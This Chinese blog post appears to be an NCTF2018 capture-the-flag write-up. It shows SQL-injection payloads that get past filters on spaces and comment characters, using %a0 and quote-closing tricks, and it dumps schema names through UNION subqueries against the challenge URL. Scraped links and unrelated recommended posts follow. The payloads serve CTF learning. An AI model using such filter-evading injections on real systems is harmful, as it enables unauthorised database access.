题目是NCTF2018的web题目

①#

?id=1'会直接出来报错提示。

猜测使用单引号保护id。

另外一打空格就提示you hacker,空格在尾部是不会提示的,猜测用了去除尾部的空格的函数trim()。

  1. 空格的过滤绕过
  2. %20 %09 %0a %0b %0c %0d %a0 %00 /**/ ()
  3. 挨个试就行,最好不要用(),因为拼接什么的挺麻烦的
  1. 发现%a0 %0b () 没有被过滤,就用%a0

  1. 另外还发现了过滤了截断符号%23,#,--+

过滤了截断符号后,我们怎么来绕过最后的那个单引号呢?

  1. 常见的sql查询语句:
  2. $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
  3. 我指的单引号就是$id'的这个单引号,一般我们会用#注释掉,现在没法注释掉后,应该怎么办呢?

我们来看个sql:

参数?id=1'',sql语句仍然能执行成功,题目中也是如此。

  1. 当有一个'时,这一个'会落单报错,但是当有一个和他一起闭合时就不报错了
  2. 只要'能匹配,多少个'都没有事。
  3. select '' 这样虽然查询为空,但是是不报错的。

  1. 我们输入 ?id=1'' ,会发现不报错了已经,但是我们尝试?id=1' or 1=1'
  2. 发现出错了。是因为只能直接用在select中,注意是直接。
  3. ?id=1'' 查询语句变为select * from user where id='1''' LIMIT0,1 可以
  4. ?id=1' and 1=1' 查询:SELECT * FROM users WHERE id='1' or 1=1'' LIMIT 0,1 不可以
  5. id=-1' union select 1,2,3' 可以
  6. 所以说是直接在select

我们本来要靠order by来猜多少个字段,现在不行了直接根据这个来猜:id=-1' union select 1,2,3'

id=1'%a0union%a0select%a01,2,3',其实这里也不用猜,很明显了,输出了三个字段。

  1. 查询所有数据库

select * from user where id='-1' union select group_concat(schema_name),2 from information_schema.schemata'发现又遇到了上边的情况了

  1. '匹配只能直接在select中,

这里的解决方法使用到的子查询

  1. select * from user where id='-1' union select (select group_concat(schema_name) from information_schema.schemata),2,这样'不就直接在select语句里了。

总结一下,select ''就是查询一个空值,和select1,2,3本质是一样的,所以不会出错,当''没有被select,就相当于一对孤零零的引号,所以会出错。

②#

今天又学到一个新的思路,就是不用select子查询,用and'闭合。

  1. ?id=1%27%a0union%a0select%a0(select%a0group_concat(schema_name)%a0from%a0information_schema.schemata),2,3%a0and%271
  2. 实际句子就是select123 from infor....#
  3. 变为 select123 from infor.... and'1' 这样也可以把最后的单引号闭合

这样一来那些order by,and 1=1,and 1=2就可以正常使用判断注入点了

  1. http://ctfgame.acdxvfsvd.net:20001/index.php?id=1%27%a0or%a01=2%a0and%a0%271
  1. http://ctfgame.acdxvfsvd.net:20001/index.php?id=1%27%a0or%a01=1%a0and%a0%271

这个语句就可以判断注入点。

sql注入过滤了#,--+怎么办的更多相关文章

  1. sql注入过滤的公共方法

    /// <summary> ///SQL注入过滤 /// </summary> /// <param name="InText">要过滤的字符串 ...

  2. 【转载】C#防SQL注入过滤危险字符信息

    不过是java开发还是C#开发或者PHP的开发中,都需要关注SQL注入攻击的安全性问题,为了保证客户端提交过来的数据不会产生SQL注入的风险,我们需要对接收的数据进行危险字符过滤来防范SQL注入攻击的 ...

  3. php防sql注入过滤代码

    防止sql注入的函数,过滤掉那些非法的字符,提高sql安全性,同时也可以过滤XSS的攻击. function filter($str) { if (empty($str)) return false; ...

  4. Python sql注入 过滤字符串的非法字符

    #coding:utf8 #在开发过程中,要对前端传过来的数据进行验证,防止sql注入攻击,其中的一个方案就是过滤用户传过来的非法的字符 def sql_filter(sql, max_length= ...

  5. 防止sql注入,过滤敏感关键字

    //sql过滤关键字 public static bool CheckKeyWord(string sWord) { //过滤关键字 string StrKeyWord = @"select ...

  6. SQL注入(过滤空格和--+等注释符)

    1.地址:http://ctf5.shiyanbar.com/web/index_2.php(过滤了空格和--+等注释符) 思路:确定注入参数值类型,直接输入单引号,根据报错信息确定参数值类型为字符型 ...

  7. java过滤防止sql注入过滤

    /** * 过滤特殊字符 * @author: Simon * @date: 2017年8月31日 下午1:47:56 * @param str * @return */ public static ...

  8. 【数据库】 防止sql注入,过滤敏感关键字

    private bool FilterIllegalChar(string sWord) { var result = false; var keyWord = @"select|inser ...

  9. 【记录】SQL注入过滤源码分享

    $id=check_addslashes($_GET['id']);$id= preg_replace('/o*r/i',"", $id); //strip out OR (non ...

随机推荐

  1. Eucalyptus4.0 管理页面介绍

    桉树配置好之后,我们可以通过web方式登陆桉树管理页面,实现对实例的启动,新建.删除,以及相关的配置操作.这里我们使用的是内网地址:http://192.168.20.60:8888/, 用户名密码默 ...

  2. python property用法

    参考 http://openhome.cc/Gossip/Python/Property.html http://pyiner.com/2014/03/09/Python-property.html ...

  3. ubuntu14.04安装gradle

    一.下载gradle $ wget https:////services.gradle.org/distributions/gradle-3.5.1-all.zip $ sudo unzip grad ...

  4. Graylog+elasticsearch+mongodb集群+nginx负载均衡前端

    网上有张图画的很好,搜索有关它的配置文章,google里有几篇英文的,都是依靠haproxy等或别的什么实现,没有纯粹的Graylog+elasticsearch+mongodb集群,项目需要,只有自 ...

  5. pta 编程题12 堆中的路径

    其它pta数据结构编程题请参见:pta 这道题考察的是最小堆. 堆是一个完全二叉树,因此可用数组表示,一个下标为 i 的结点的父节点下标为 i / 2,子结点下标为 2i 和 2i + 1. 插入元素 ...

  6. c++ 输入split

    日期格式为“yyyy/mm/dd”(即年/月/日)格式 scanf("%d/%d/%d", &year, &month, &day);

  7. 【洛谷2257】YY的GCD(莫比乌斯反演)

    点此看题面 大致题意: 求\(\sum_{x=1}^N\sum_{y=1}^MIsPrime(gcd(x,y))\). 莫比乌斯反演 听说此题是莫比乌斯反演入门题? 一些定义 首先,我们可以定义\(f ...

  8. Processing入门指南

    简介 Processing 是由 MIT 媒体实验室的 Casey Reas 和 Benjamin Fry 发明的一种开源可视化编程语言.Processing为数字媒体与娱乐交互设计而创建,其目的是通 ...

  9. 2018.5.19 Oracle数据操作和管理表的综合练习

    --作业一.使用自己的用户登录,完成如下操作,并且创建5条测试数据 -- 创建学生表(stu),字段如下: -- 学号(stuID) -- 姓名(stuName) -- 性别(stuSex) -- 入 ...

  10. pymysql 简单操作数据库

    #!/usr/bin/env python #-*- coding:utf-8 -*- # author:leo # datetime:2019/4/24 15:22 # software: PyCh ...